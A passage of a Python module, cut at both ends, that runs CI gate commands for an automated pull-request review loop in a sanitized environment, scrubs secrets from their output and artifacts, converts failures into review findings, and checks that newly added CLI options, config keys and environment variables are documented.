if any(key.startswith(prefix) for prefix in _STRIPPED_NODE_ENV_PREFIXES):
continue
env[key] = value
env["CI"] = "1"
env["NO_COLOR"] = "1"
env["FORCE_COLOR"] = "0"
# iter-40 Finding 1: sanitize PATH so a node/npm sub-subprocess
# (e.g. ``npm run`` → shell → ``prettier``) cannot resolve a PR
# shim placed at the worktree root via an inherited
# ``PATH=.:$PATH``. ``Gate.cmd`` already stores absolute paths for
# the top-level tool, but downstream tool spawns by node go
# through PATH lookup. Defence in depth.
if worktree is not None:
sanitized_path = _sanitized_path(worktree)
if sanitized_path:
env["PATH"] = sanitized_path
else:
# Fall back to a minimal default PATH if every operator
# entry was rejected — keeps system binaries reachable.
env["PATH"] = os.defpath
# iter-39 Finding 1: when Corepack manages the yarn/pnpm binary
# (default in Node 16+) and ``package.json`` does not pin a
# ``packageManager`` field, the first ``yarn run``/``pnpm run``
# inside the gate writes one. The runner's ``cwd`` is the
# loop-owned PR worktree, so the mutation lands in the PR and the
# downstream commit/push helper stages it. Forcing
# ``COREPACK_ENABLE_AUTO_PIN=0`` (a documented Corepack
# opt-out) keeps Corepack from touching ``package.json``.
env["COREPACK_ENABLE_AUTO_PIN"] = "0"
return env
def _scrub(text: str) -> str:
"""Run the loop's secret-scrubber over ``text``.
Imported lazily to avoid an import cycle at module load: the review
loop module imports ``checkup_gates``, not the other way around.
"""
try:
from .checkup_review_loop import _scrub_secrets
return _scrub_secrets(text)
except Exception as exc: # pragma: no cover - defensive
logger.debug("checkup-gates: secret scrub fell back: %s", exc)
return text
def _now_iso() -> str:
return _dt.datetime.now(_dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def _execute_one(
worktree: Path,
gate: Gate,
*,
default_timeout: float,
) -> GateResult:
"""Execute a single gate, capturing stdout/stderr and runner-side errors."""
started = _now_iso()
started_monotonic = time.monotonic()
timeout = gate.timeout if gate.timeout and gate.timeout > 0 else default_timeout
env = _build_subprocess_env(worktree)
try:
proc = subprocess.run(
list(gate.cmd),
cwd=str(worktree),
env=env,
capture_output=True,
text=True,
timeout=timeout,
check=False,
)
except subprocess.TimeoutExpired as exc:
duration = time.monotonic() - started_monotonic
captured_stdout = ""
captured_stderr = ""
if exc.stdout:
captured_stdout = (
exc.stdout
if isinstance(exc.stdout, str)
else exc.stdout.decode("utf-8", "replace")
)
if exc.stderr:
captured_stderr = (
exc.stderr
if isinstance(exc.stderr, str)
else exc.stderr.decode("utf-8", "replace")
)
return GateResult(
gate=gate,
exit_code=None,
# Scrub BEFORE truncating. A token like ``ghp_...`` whose
# last byte happens to land past the 10 KB cutoff would
# otherwise leave a partial-token prefix in the excerpt
# that the scrub regex (anchored on the full token shape)
# would no longer match. Iter-22 Finding 1.
stdout_excerpt=_truncate(_scrub(captured_stdout)),
stderr_excerpt=_truncate(_scrub(captured_stderr)),
duration_seconds=duration,
started_at_iso=started,
error=f"timed out after {timeout:g}s",
)
except (FileNotFoundError, PermissionError, OSError) as exc:
duration = time.monotonic() - started_monotonic
# Iter-23 Finding 2: ``FileNotFoundError``'s default repr
# embeds the full argv tuple, so when a gate cmd carries an
# operator-supplied token in argv the token lands here. Scrub
# at the source — once ``GateResult.error`` is set every
# downstream consumer (to_dict for state.gate_runs, evidence
# builder for synthetic findings, artifact renderer) sees the
# redacted form by default.
return GateResult(
gate=gate,
exit_code=None,
stdout_excerpt="",
stderr_excerpt="",
duration_seconds=duration,
started_at_iso=started,
error=_scrub(f"{type(exc).__name__}: {exc}"),
)
except Exception as exc: # noqa: BLE001 - defensive: never raise
duration = time.monotonic() - started_monotonic
return GateResult(
gate=gate,
exit_code=None,
stdout_excerpt="",
stderr_excerpt="",
duration_seconds=duration,
started_at_iso=started,
error=_scrub(f"{type(exc).__name__}: {exc}"),
)
duration = time.monotonic() - started_monotonic
return GateResult(
gate=gate,
exit_code=proc.returncode,
# Scrub-then-truncate (iter-22 Finding 1): see the
# corresponding comment in the timeout branch above.
stdout_excerpt=_truncate(_scrub(proc.stdout or "")),
stderr_excerpt=_truncate(_scrub(proc.stderr or "")),
duration_seconds=duration,
started_at_iso=started,
error="",
)
def run_gates(
worktree: Path,
gates: Sequence[Gate],
*,
artifacts_dir: Path,
round_number: int,
mode: str,
default_timeout: float = DEFAULT_GATE_TIMEOUT_SECONDS,
) -> List[GateResult]:
"""Execute every gate in ``gates`` and persist artifacts.
Returns the list of ``GateResult`` rows in the same order as
``gates``. Persists:
* ``round-{R}-{mode}-gates.json`` — the entire result list as JSON.
* ``round-{R}-{mode}-gate-{slug}.txt`` — one human-readable per-gate
artifact for offline inspection.
Never raises. A runner-side subprocess failure is recorded with
``exit_code=None`` and a non-empty ``error``; the caller is expected
to treat that as a gate failure via ``gate_results_to_findings``.
"""
try:
artifacts_dir.mkdir(parents=True, exist_ok=True)
except OSError as exc:
logger.warning(
"checkup-gates: artifacts dir %s unwritable (%s); "
"running gates without persistence.",
artifacts_dir,
exc,
)
results: List[GateResult] = []
for gate in gates:
# Execute the gate first; ``_execute_one`` is already
# exception-safe and returns a ``GateResult`` even on
# runner-side failure. Persistence is best-effort: if writing
# the per-gate artifact raises (disk full, read-only fs), we
# OVERWRITE this gate's result with a runner-error entry so
# the audit trail records the persistence failure on that
# specific gate AND the loop sees a failing finding rather
# than mistaking the gate for "passed". The other gates
# continue executing.
result = _execute_one(worktree, gate, default_timeout=default_timeout)
# Iter-25 Finding 1: scrub the gate name BEFORE slugging so a
# token-bearing name (e.g. ``py-compile:ghp_xxx.py``) cannot
# land verbatim in the per-gate artifact filename — that
# filename is part of the public audit surface.
per_gate_path = (
artifacts_dir
/ f"round-{round_number}-{mode}-gate-{_safe_slug(_scrub(gate.name))}.txt"
)
try:
per_gate_path.write_text(_render_per_gate_body(result), encoding="utf-8")
except Exception as exc: # noqa: BLE001 - defensive: never raise
# Iter-24 Finding 2: scrub BEFORE the warning log. The
# raw exception text (and its traceback under
# ``exc_info=True``) can carry a path containing a token
# or any string a poisoned gate cmd shoved into the
# filename — CI/cloud log capture would otherwise
# harvest it. Demote the traceback to debug so the
# warning line stays clean.
persistence_error = _scrub(f"{type(exc).__name__}: {exc}")
# Iter-25 Finding 3: ``gate.name`` itself can carry a
# token-bearing path (per-file gates name themselves as
# ``py-compile:<rel>``); scrub before interpolating into
# the WARNING log surface. Drop the ``exc_info=True``
# debug follow-up entirely: ``traceback.format_exception``
# re-renders the raw exception message — defeating the
# WARNING-line scrub — and any operator who needs the
# full traceback can reproduce the failure locally
# without scrubbing.
logger.warning(
"checkup-gates: failed to persist artifact for gate %r: %s",
_scrub(gate.name),
persistence_error,
)
# If the gate itself passed, downgrade to a runner-error
# row so the loop's findings adapter still surfaces the
# broken persistence. If the gate already failed, keep
# its original exit code and append the persistence error
# to ``error`` so the existing failure ride-along stays
# intact while the operator still sees the artifact gap.
if result.exit_code == 0:
result = GateResult(
gate=result.gate,
exit_code=None,
stdout_excerpt=result.stdout_excerpt,
stderr_excerpt=result.stderr_excerpt,
duration_seconds=result.duration_seconds,
started_at_iso=result.started_at_iso,
error=persistence_error,
)
else:
combined_error = (
f"{result.error}; persistence: {persistence_error}"
if result.error
else persistence_error
)
result = GateResult(
gate=result.gate,
exit_code=result.exit_code,
stdout_excerpt=result.stdout_excerpt,
stderr_excerpt=result.stderr_excerpt,
duration_seconds=result.duration_seconds,
started_at_iso=result.started_at_iso,
error=combined_error,
)
results.append(result)
manifest = artifacts_dir / f"round-{round_number}-{mode}-gates.json"
try:
manifest.write_text(
json.dumps([result.to_dict() for result in results], indent=2),
encoding="utf-8",
)
except Exception as exc: # noqa: BLE001 - defensive: never raise
# The aggregate manifest is best-effort. Per-gate text artifacts
# (and the in-memory results returned to the caller) are the
# ship-gate; losing the JSON manifest only hurts later offline
# audit, so log and continue rather than failing the loop.
#
# Iter-24 Finding 2: scrub the exception text before logging,
# for the same reason as the per-gate persistence path. The
# manifest path is short but a malicious gate could prepend
# any string the operator allowed into ``artifacts_dir``.
scrubbed_exc = _scrub(f"{type(exc).__name__}: {exc}")
# Iter-25 Finding 3: drop the ``exc_info=True`` follow-up;
# ``traceback.format_exception`` re-renders the raw
# exception message at DEBUG, defeating the scrub above.
logger.warning(
"checkup-gates: failed to persist manifest %s: %s",
manifest,
scrubbed_exc,
)
return results
def _render_per_gate_body(result: GateResult) -> str:
# Iter-23 Finding 2: the cmd argv and runner ``error`` can carry
# operator-supplied secrets (a fork PR could ship a poisoned
# ``package.json`` script with a literal token embedded). The
# per-gate artifact is the long-term audit record; scrub before
# persistence so a future operator review of the artifacts cannot
# accidentally surface a token. Output excerpts are already
# scrubbed upstream by ``_execute_one``.
# Iter-25 Finding 1: gate.name and gate.source can carry a
# token-like path (a Python file under a directory whose name
# happens to match the scrub regex). Scrub here so the per-gate
# artifact body is safe.
lines: List[str] = []
lines.append(f"gate: {_scrub(result.gate.name)}")
lines.append(f"cmd: {_scrub(' '.join(result.gate.cmd))}")
lines.append(f"source: {_scrub(result.gate.source)}")
lines.append(f"started: {result.started_at_iso}")
lines.append(f"duration_seconds: {result.duration_seconds:.3f}")
if result.exit_code is None:
lines.append("exit_code: <runner-error>")
lines.append(f"error: {_scrub(result.error or '')}")
else:
lines.append(f"exit_code: {result.exit_code}")
lines.append("")
lines.append("---- stdout ----")
lines.append(result.stdout_excerpt or "")
lines.append("---- stderr ----")
lines.append(result.stderr_excerpt or "")
return "\n".join(lines) + "\n"
# ---------------------------------------------------------------------------
# Findings adapter
# ---------------------------------------------------------------------------
def _build_evidence(result: GateResult) -> str:
"""Render the short evidence string for the synthetic finding.
``result.error`` (the volatile runner-side detail — exception class,
``[Errno N]`` codes, round-specific artifact paths) lives here only.
It must NOT leak into ``_build_finding_message`` because the
``ReviewFinding.key`` dedup contract (codex review iteration 2,
Finding 1) requires the message stay constant across rounds for the
same gate-name; otherwise identical persistence failures across
rounds produce different keys and the loop spams duplicate findings.
"""
# Iter-23 Finding 2: ``result.error`` is the raw ``str(exc)`` of
# the subprocess failure (``FileNotFoundError``, ``TimeoutExpired``,
# generic ``Exception``). Python's exception representation for
# FileNotFoundError includes the full argv tuple — so when an
# operator-supplied gate cmd contains a token (intentional or
# not), that token lands verbatim in ``result.error`` and then
# in ``ReviewFinding.evidence``, which is rendered into the
# public GitHub PR comment AND persisted to ``final-state.json``.
# Scrub before interpolating. The cmd line itself can carry the
# same payload, so scrub it too.
if result.exit_code is None:
prefix = "Runner error"
if result.error:
prefix += f": {_scrub(result.error)}"
else:
prefix = f"Gate exit_code={result.exit_code}"
cmd_line = _scrub(" ".join(result.gate.cmd))
tail = result.stderr_excerpt or result.stdout_excerpt
if tail:
tail = tail.strip()
if len(tail) > 2000:
tail = tail[:2000] + "\n[...]"
# Iter-25 Finding 1: scrub gate.source too. A PR can change a
# file like ``ghp_…/foo.py`` and the per-file gate's ``source``
# would otherwise carry that path verbatim into the public PR
# comment via ReviewFinding.evidence.
body = f"{prefix} for `{cmd_line}` ({_scrub(result.gate.source)})."
if tail:
body += f"\nOutput tail:\n{tail}"
return body
def _build_required_fix(result: GateResult) -> str:
# Iter-23 Finding 2: same scrub contract as ``_build_evidence`` —
# ``required_fix`` is rendered into the public PR comment and
# the JSON state artifact, so a token embedded in the cmd argv
# must not leak.
cmd_line = _scrub(" ".join(result.gate.cmd))
base = f"Run `{cmd_line}` locally and address the failure"
if result.gate.required_fix_hint:
# Iter-25 Finding 1: the hint contains the changed-file
# ``{rel}`` path for per-file gates (py-compile/ruff/black/
# mypy), so a PR file whose name contains a token-shaped
# substring would otherwise land in ``required_fix`` →
# public PR comment.
return f"{base}. {_scrub(result.gate.required_fix_hint)}"
return base + "."
def _build_finding_message(result: GateResult) -> str:
"""Build the ``finding`` field for the synthetic ReviewFinding.
``ReviewFinding.key`` is built from
``severity|location|finding|required_fix``. To keep the dedup key
stable across rounds for the same gate, this string MUST be
deterministic and MUST NOT embed any per-invocation detail such as
``result.error`` (which carries exception class names, ``[Errno N]``
codes, or round-specific artifact paths). The volatile detail lives
in ``_build_evidence`` (codex review iteration 2, Finding 1).
"""
# Iter-25 Finding 1: scrub the gate name interpolated into the
# finding message. The message lands in ReviewFinding.finding,
# which is published into the public PR comment and persisted
# to final-state.json["findings"], and the dedup-key contract
# (codex iter-2 Finding 1) means a stable scrubbed form is
# still per-gate-unique.
scrubbed_name = _scrub(result.gate.name)
if result.exit_code is None:
return f"Deterministic gate {scrubbed_name!r} failed to execute (runner error)."
return (
f"Deterministic gate {scrubbed_name!r} failed with exit "
f"code {result.exit_code}."
)
def gate_results_to_findings(
results: Sequence[GateResult],
*,
round_number: int,
) -> List["object"]:
"""Convert failed ``GateResult`` rows into ``ReviewFinding`` objects.
Passed gates are skipped. Failed gates (``exit_code != 0`` OR
``exit_code is None``) emit one ``ReviewFinding`` each, with
``reviewer = f"gate:{gate.name}"`` so the loop's audit trail can
distinguish synthetic findings from LLM-reviewer findings.
"""
# Imported here to avoid the circular dependency at module load.
from .checkup_review_loop import ReviewFinding
findings: List[ReviewFinding] = []
for result in results:
if result.passed:
continue
findings.append(
ReviewFinding(
severity=result.gate.severity,
# Iter-25 Finding 1: scrub the gate name and source
# interpolated into reviewer/location. Both fields
# are public rendering surfaces (PR comment +
# final-state.json).
reviewer=f"gate:{_scrub(result.gate.name)}",
area=result.gate.area,
evidence=_build_evidence(result),
finding=_build_finding_message(result),
required_fix=_build_required_fix(result),
location=_scrub(result.gate.source),
status="open",
round_number=round_number,
)
)
return findings
def extract_pddrc_defaults_keys(content: str) -> Set[str]:
"""Extract _PDDRC_DEFAULTS_KEYS from construct_paths.py source using AST parsing."""
try:
tree = ast.parse(content)
except Exception:
return set()
for node in tree.body:
# Handle plain assignment (x = {...}) and annotated assignment (x: T = {...})
if isinstance(node, ast.Assign) and any(
isinstance(t, ast.Name) and t.id == "_PDDRC_DEFAULTS_KEYS"
for t in node.targets
):
value_node = node.value
elif (
isinstance(node, ast.AnnAssign)
and isinstance(node.target, ast.Name)
and node.target.id == "_PDDRC_DEFAULTS_KEYS"
and node.value is not None
):
value_node = node.value
else:
continue
try:
value = ast.literal_eval(value_node)
if isinstance(value, set):
return {k.strip() for k in value if isinstance(k, str) and k.strip()}
except ValueError:
pass
return set()
def get_markdown_section(text: str, start_marker: str, end_markers: List[str]) -> str:
"""Helper to extract a specific section from markdown text."""
start_idx = text.find(start_marker)
if start_idx == -1:
return ""
end_idx = len(text)
for marker in end_markers:
idx = text.find(marker, start_idx + len(start_marker))
if idx != -1 and idx < end_idx:
end_idx = idx
return text[start_idx:end_idx]
_DOC_CONTRACT_CONFIG_PATHS: Tuple[str, ...] = (
".pdd/doc_contract.json",
".pdd/doc-contract.json",
)
def _git_show_doc_contract_text(
worktree: Path,
base_spec: Optional[str],
rel_path: str,
trusted_git: Optional[str] = None,
git_env: Optional[Dict[str, str]] = None,
) -> Optional[str]:
"""Return ``rel_path`` content from ``base_spec`` when available."""
if not base_spec:
return None
if not trusted_git:
trusted_git = _resolve_trusted_git(worktree)
if not trusted_git:
return None
if git_env is None:
git_env = _build_subprocess_env(worktree)
try:
result = subprocess.run(
[trusted_git, "-C", str(worktree), "show", f"{base_spec}:{rel_path}"],
capture_output=True,
env=git_env,
text=True,
check=False,
timeout=5,
)
except Exception:
return None
if result.returncode != 0:
return None
return result.stdout
def _as_str_list(value: Any) -> List[str]:
"""Normalize a JSON string-or-list field to a list of strings."""
if isinstance(value, str):
return [value]
if isinstance(value, list):
return [item for item in value if isinstance(item, str)]
return []
def _load_doc_contract_config(
worktree: Path,
base_spec: Optional[str],
trusted_git: str,
git_env: Dict[str, str],
) -> Tuple[List[Dict[str, Any]], List[str]]:
"""Load repo-declared doc-contract rules.
The base-tree config is authoritative when it exists. A reviewed PR must
not be able to weaken the gate by editing or deleting its own contract
config in the worktree. If the base has no config, the current worktree
config is accepted so repositories can introduce the interface.
"""
errors: List[str] = []
config_text: Optional[str] = None
config_source = ""
for rel_path in _DOC_CONTRACT_CONFIG_PATHS:
config_text = _git_show_doc_contract_text(
worktree, base_spec, rel_path, trusted_git, git_env
)
if config_text is not None:
config_source = f"{base_spec}:{rel_path}" if base_spec else rel_path
break
if config_text is None:
for rel_path in _DOC_CONTRACT_CONFIG_PATHS:
path = worktree / rel_path
if path.is_file():
try:
config_text = path.read_text(encoding="utf-8")
config_source = rel_path
except (OSError, UnicodeDecodeError) as exc:
errors.append(f"Could not read {rel_path}: {exc}")
break
if config_text is None:
return [], errors
try:
parsed = json.loads(config_text)
except json.JSONDecodeError as exc:
return [], [f"Invalid doc-contract config {config_source}: {exc}"]
rules = parsed.get("rules") if isinstance(parsed, dict) else None
if not isinstance(rules, list):
return [], [f"Doc-contract config {config_source} must contain a 'rules' list."]
valid_rules: List[Dict[str, Any]] = []
for index, raw_rule in enumerate(rules, start=1):
if not isinstance(raw_rule, dict):
errors.append(f"Doc-contract rule #{index} in {config_source} is not an object.")
continue
name = str(raw_rule.get("name") or f"rule-{index}")
source_globs = _as_str_list(raw_rule.get("source_globs"))
added_regex = raw_rule.get("added_regex")
doc_specs_raw = raw_rule.get("docs", raw_rule.get("doc_paths"))
if isinstance(doc_specs_raw, (str, dict)):
doc_specs_raw = [doc_specs_raw]
if not source_globs:
errors.append(f"Doc-contract rule '{name}' is missing source_globs.")
continue
if not isinstance(added_regex, str) or not added_regex:
errors.append(f"Doc-contract rule '{name}' is missing added_regex.")
continue
if not isinstance(doc_specs_raw, list) or not doc_specs_raw:
errors.append(f"Doc-contract rule '{name}' is missing docs/doc_paths.")
continue
try:
re.compile(added_regex)
except re.error as exc:
errors.append(f"Doc-contract rule '{name}' has invalid added_regex: {exc}")
continue
docs: List[Dict[str, Any]] = []
for doc_index, item in enumerate(doc_specs_raw, start=1):
if isinstance(item, str):
docs.append({"path": item})
continue
if not isinstance(item, dict) or not isinstance(item.get("path"), str):
errors.append(
f"Doc-contract rule '{name}' doc #{doc_index} must be a path string or object with path."
)
continue
doc = dict(item)
if "section_end_markers" in doc:
doc["section_end_markers"] = _as_str_list(doc["section_end_markers"])
docs.append(doc)
if not docs:
continue
valid_rules.append(
{
"name": name,
"source_globs": source_globs,
"ignore_globs": _as_str_list(raw_rule.get("ignore_globs")),
"ignore_values": set(_as_str_list(raw_rule.get("ignore_values"))),
"added_regex": added_regex,
"doc_regex": raw_rule.get("doc_regex"),
"docs": docs,
}
)
return valid_rules, errors
def _path_matches_any_glob(path: str, patterns: Sequence[str]) -> bool:
return any(fnmatch.fnmatch(path, pattern) for pattern in patterns)
def _capture_doc_context(match: re.Match[str]) -> Dict[str, str]:
"""Build escaped placeholder values for a generic doc-contract match."""
raw_values: Dict[str, str] = {}
raw_values.update({k: v for k, v in match.groupdict().items() if v is not None})
if match.lastindex:
raw_values.setdefault("value", match.group(1))
else:
raw_values.setdefault("value", match.group(0))
context: Dict[str, str] = {}
for key, value in raw_values.items():
context[key] = re.escape(value)
context[f"{key}_dashed"] = re.escape(value.replace("_", "-"))
context["__raw_value"] = raw_values["value"]
return context
def _render_doc_regex(template: Optional[str], context: Dict[str, str]) -> str:
"""Render a configured doc regex with escaped capture placeholders."""
if not isinstance(template, str) or not template:
return context["value"]
def replace(match: re.Match[str]) -> str:
key = match.group(1)
return context.get(key, match.group(0))
return re.sub(r"\{([a-zA-Z_][a-zA-Z0-9_]*)\}", replace, template)
def _doc_spec_text(worktree: Path, spec: Dict[str, Any]) -> Tuple[str, Optional[str]]:
"""Return the current documentation text selected by a doc spec."""
rel_path = spec.get("path")
if not isinstance(rel_path, str):
return "", "invalid doc path"
path = worktree / rel_path
if not path.is_file():
return "", f"{rel_path} is missing"
try:
text = path.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError) as exc:
return "", f"could not read {rel_path}: {exc}"
section_start = spec.get("section_start")
if isinstance(section_start, str) and section_start:
section = get_markdown_section(
text,
section_start,
_as_str_list(spec.get("section_end_markers")) or ["## ", "### "],
)
if not section:
return "", f"{rel_path} does not contain section {section_start!r}"
text = section
return text, None
def _run_configured_doc_contract_rules(
worktree: Path,
base_spec: Optional[str],
trusted_git: str,
git_env: Dict[str, str],
added_lines_by_file: Dict[str, List[str]],
) -> List[str]:
"""Evaluate repo-declared, non-PDD-specific doc-contract rules."""
rules, errors = _load_doc_contract_config(worktree, base_spec, trusted_git, git_env)
if not rules:
return errors
# Key obligations by the full capture context, not just the first capture
# group. A rule with multiple captures (e.g. ``category`` and ``name``) can
# emit distinct surfaces that share the first capture; keying on that capture
# alone collapses them and lets a later obligation overwrite an earlier one,
# so an undocumented surface fails open (#1309 review).
obligations: Dict[
Tuple[str, str, Tuple[Tuple[str, str], ...]],
Tuple[Dict[str, Any], Dict[str, str], str],
] = {}
for file_path, lines in added_lines_by_file.items():
normalized_path = file_path.replace("\\", "/")
for rule in rules:
if not _path_matches_any_glob(normalized_path, rule["source_globs"]):
continue
if _path_matches_any_glob(normalized_path, rule["ignore_globs"]):
continue
regex = re.compile(rule["added_regex"])
for line in lines:
for match in regex.finditer(line):
context = _capture_doc_context(match)
value = context["__raw_value"]
if value in rule["ignore_values"]:
continue
context_key = tuple(sorted(context.items()))
obligations[(rule["name"], normalized_path, context_key)] = (
rule,
context,
value,
)
doc_cache: Dict[Tuple[str, str], Tuple[str, Optional[str]]] = {}
for (_name, source_path, _context_key), (
rule,
context,
value,
) in obligations.items():
doc_pattern = _render_doc_regex(rule.get("doc_regex"), context)
for doc in rule["docs"]:
doc_path = doc["path"]
section_start = str(doc.get("section_start") or "")
cache_key = (doc_path, section_start)
if cache_key not in doc_cache:
doc_cache[cache_key] = _doc_spec_text(worktree, doc)
doc_text, doc_error = doc_cache[cache_key]
if doc_error:
errors.append(
f"Doc-contract rule '{rule['name']}' captured '{value}' from "
f"{source_path}, but {doc_error}."
)
continue
try:
documented = re.search(doc_pattern, doc_text, re.MULTILINE) is not None
except re.error as exc:
errors.append(
f"Doc-contract rule '{rule['name']}' rendered invalid doc_regex "
f"for '{value}': {exc}"
)
continue
if not documented:
errors.append(
f"Doc-contract rule '{rule['name']}' captured '{value}' from "
f"{source_path}, but {doc_path} does not document it."
)
return errors
def _doc_contract_should_scan_added_file(file_path: str) -> bool:
"""Return True when ``file_path`` can define user-facing runtime surfaces."""
path = file_path.replace("\\", "/")
parts = path.split("/")
name = parts[-1] if parts else path
if "tests" in parts or "__tests__" in parts:
return False
if "fixtures" in parts or "testdata" in parts or "snapshots" in parts:
return False
if path.startswith(("context/", "examples/", "docs/")):
return False
if name.startswith("test_") or name.endswith("_test.py"):
return False
return True
def _condition_doc_tokens(cond: str) -> List[str]:
"""Return the documentation spellings that satisfy a skip condition.
A code identifier like ``skip_tests`` may be documented as ``skip_tests``,
``skip-tests``, or the CLI flag ``--skip-tests``; any one is accepted.
"""
dashed = cond.replace("_", "-")
return [cond, dashed, f"--{dashed}"]
def _doc_mentions_condition(text: str, cond: str) -> bool:
"""True when ``text`` documents skip condition ``cond`` in any spelling."""
return any(token in text for token in _condition_doc_tokens(cond))
def _operation_doc_block(text: str, op: str) -> str:
"""Return the documentation block that introduces workflow operation ``op``
as its own labeled entry, including wrapped/continuation lines.
Recognizes the common ``label: description`` shapes — ``- fix: ...``,
``fix:``, ``**fix**:``, ``` `fix` — ... ``` — optionally prefixed by a list
marker, and gathers following lines until a blank line, a heading, or the
next same-or-lower-indent list entry. Returns ``""`` when ``op`` is not
documented as its own entry.
This is what lets the gate check a skip condition against the operation's
OWN contract instead of anywhere in the file: docs that mention
``--skip-tests`` only for the ``test`` step must NOT satisfy a new
``fix``+``skip_tests`` contract (#1303/#1238 review round 2).
"""
# The operation token, optionally wrapped in emphasis/backticks and a list
# marker, immediately followed by a ':' or dash separator.
intro = re.compile(
r"^\s*(?:[-*+]\s+|\d+\.\s+)?[`*_]*"
+ re.escape(op)
+ r"[`*_]*\s*[:\-–—]"
)
any_bullet = re.compile(r"^\s*(?:[-*+]\s+|\d+\.\s+)")
lines = text.splitlines()
start = next((i for i, ln in enumerate(lines) if intro.search(ln)), None)
if start is None:
return ""
block = [lines[start]]
base_indent = len(lines[start]) - len(lines[start].lstrip())
for ln in lines[start + 1:]:
if not ln.strip():
break
if ln.lstrip().startswith("#"):
break
indent = len(ln) - len(ln.lstrip())
# A new list entry at the same or shallower indent is a different op.
if any_bullet.match(ln) and indent <= base_indent:
break
block.append(ln)
return "\n".join(block)
def _operation_documents_condition(text: str, op: str, cond: str) -> bool:
"""True when ``op``'s OWN documented contract block in ``text`` mentions the
skip condition ``cond`` (any spelling). File-wide mentions do not count."""
block = _operation_doc_block(text, op)
return bool(block) and _doc_mentions_condition(block, cond)
def run_doc_contract_check(
worktree_path: Path | str, base_ref: Optional[str] = None
) -> int:
"""Enforces documentation consistency on newly added user-facing surfaces.
Issue #1303 product requirement.
"""
worktree = Path(worktree_path)
# 1. Run git diff to get the added lines
trusted_git = _resolve_trusted_git(worktree)
if not trusted_git:
print("Error: Could not resolve git binary.", file=sys.stderr)
return 1
git_env = _build_subprocess_env(worktree)
base_spec = None
if base_ref:
base_spec = _resolve_pr_base_spec(worktree, base_ref, git_cmd=trusted_git)
if not base_spec:
# Fall back to trying HEAD~1 if git repo
try:
res = subprocess.run(
[trusted_git, "-C", str(worktree), "rev-parse", "--verify", "HEAD~1"],
capture_output=True,
env=git_env,
text=True,
check=False,
timeout=5,
)
if res.returncode == 0:
base_spec = "HEAD~1"
except Exception:
pass
diff_args = [trusted_git, "-C", str(worktree), "diff"]
if base_spec:
if base_spec == "HEAD~1":
diff_args.append("HEAD~1")
else:
diff_args.append(f"{base_spec}...")
try:
res = subprocess.run(
diff_args,
capture_output=True,
env=git_env,
text=True,
check=False,
timeout=15,
)
if res.returncode != 0:
print(
f"Error: git diff failed with code {res.returncode}: {res.stderr}",
file=sys.stderr,
)
return 1
diff_text = res.stdout
except Exception as exc:
print(f"Error executing git diff: {exc}", file=sys.stderr)
return 1
# 2. Parse diff into files and added lines
added_lines_by_file: Dict[str, List[str]] = {}
current_file = None
for line in diff_text.splitlines():
if line.startswith("diff --git "):
match = re.search(r" b/(\S+)", line)
if match:
current_file = match.group(1)
added_lines_by_file[current_file] = []
elif line.startswith("+++ "):
pass
elif line.startswith("+") and not line.startswith("+++"):
if current_file:
added_lines_by_file[current_file].append(line[1:])
# 3. Detect added user-facing surfaces
added_pddrc_keys = set()
added_click_options = set()
added_skip_behaviors = set()
# (operation, condition) pairs where a NEW skip condition gates an existing
# operation, e.g. `operation == 'fix' and skip_tests`. This is the
# #1303/#1238 drift class: recording only the operation name is not enough
# because docs that merely mention the operation (e.g. "fix: Resolve test
# failures") would still pass while the new skip condition stays
# undocumented. The condition is normalized to its snake_case identifier.
added_skip_contracts: set = set()
added_env_vars = set()
# .pddrc keys
pddrc_keys_now = set()
pddrc_keys_then = set()
construct_paths_path = worktree / "pdd/construct_paths.py"
if construct_paths_path.is_file():
try:
content_now = construct_paths_path.read_text(encoding="utf-8")
pddrc_keys_now = extract_pddrc_defaults_keys(content_now)
except Exception:
pass
if base_spec:
try:
res_show = subprocess.run(
[
trusted_git,
"-C",
str(worktree),
"show",
f"{base_spec}:pdd/construct_paths.py",
],
capture_output=True,
env=git_env,
text=True,
check=False,
timeout=5,
)
if res_show.returncode == 0:
pddrc_keys_then = extract_pddrc_defaults_keys(res_show.stdout)
except Exception:
pass
added_pddrc_keys = pddrc_keys_now - pddrc_keys_then
# Click options, Skip behaviors, and Env vars
for file_path, lines in added_lines_by_file.items():
if not _doc_contract_should_scan_added_file(file_path):
continue
if file_path.endswith(".py"):
has_click = False
full_path = worktree / file_path
if full_path.is_file():
try:
content = full_path.read_text(encoding="utf-8")
if "import click" in content or "click." in content:
has_click = True
except Exception:
pass
for line in lines:
# 1. Click options
if has_click:
if "click.option" in line:
opts = re.findall(r'["\'](--[a-zA-Z0-9-]+)["\']', line)
added_click_options.update(opts)
else:
opt_match = re.match(r'^\s*["\'](--[a-zA-Z0-9-]+)["\']', line)
if opt_match:
added_click_options.add(opt_match.group(1))
# 2. Skip behaviors / operation names
match = re.search(r"operation\s*==\s*['\"]([a-zA-Z0-9_-]+)['\"]", line)
if match:
op_name = match.group(1)
added_skip_behaviors.add(op_name)
# Capture any skip CONDITION gating this operation on the
# same line (e.g. `operation == 'fix' and skip_tests` or
# `... and not skip_verify`). Both the snake_case
# identifier (`skip_tests`) and the CLI flag spelling
# (`--skip-tests`) are normalized to the identifier so the
# downstream doc check accepts either spelling.
for cond in re.findall(r"\bskip_[a-z][a-z0-9_]*\b", line):
added_skip_contracts.add((op_name, cond))
for flag in re.findall(r"--skip-[a-z][a-z0-9-]*\b", line):
added_skip_contracts.add(
(op_name, flag.lstrip("-").replace("-", "_"))
)
match_skip = re.search(r"['\"]skip:([a-zA-Z0-9_-]+)['\"]", line)
if match_skip:
added_skip_behaviors.add(match_skip.group(1))
# 3. Environment variables
if (
file_path.endswith(".py")
or file_path.endswith(".sh")
):
for line in lines:
env_matches = re.findall(r"\b(PDD_[A-Z0-9_]+)\b", line)
for env in env_matches:
added_env_vars.add(env)
# 4. Read documentation files
readme_path = worktree / "README.md"
readme_content = ""
if readme_path.is_file():
readme_content = readme_path.read_text(encoding="utf-8")
prompt_path = worktree / "pdd/prompts/sync_orchestration_python.prompt"
prompt_content = ""
if prompt_path.is_file():
prompt_content = prompt_path.read_text(encoding="utf-8")
# Extract markdown sections for verification
pddrc_section = get_markdown_section(
readme_content,
"**Available Context Settings**:",
["**Path Behavior**:", "###", "##"],
)
env_section = get_markdown_section(
readme_content, "### Environment Variables", ["\n## Error Handling", "\n## "]
)
prompt_ops_section = get_markdown_section(
prompt_content, "## Workflow Operations", ["## "]
)
# 5. Perform the contract checks. Repo-declared rules are evaluated first:
